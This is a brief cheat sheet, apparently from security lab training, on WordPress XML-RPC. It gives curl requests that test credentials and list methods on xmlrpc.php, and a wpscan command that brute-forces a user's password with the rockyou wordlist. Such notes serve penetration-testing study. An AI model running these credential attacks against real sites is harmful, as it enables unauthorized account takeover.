xmlrpc

• XML-RPC
• What is XML-RPC?

It's remote procedure calling using HTTP as the transport and XML as the encoding

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php

List all the methods

curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://83.136.249.246:54513/xmlrpc.php

WordPress xmlrpc attacks

• A Complete Guide on xmlrpc.php in WordPress (What It Is, Security Risks, How to Disable It)
• Avoid XML-RPC Attacks | WordPress Developer's Guide
• XML-RPC/system.listMethods « WordPress Codex

Exploiting using wpscan

wpscan --password-attack xmlrpc -t 20 -U roger -P /usr/share/wordlists/rockyou.txt --url http://94.237.55.43:56314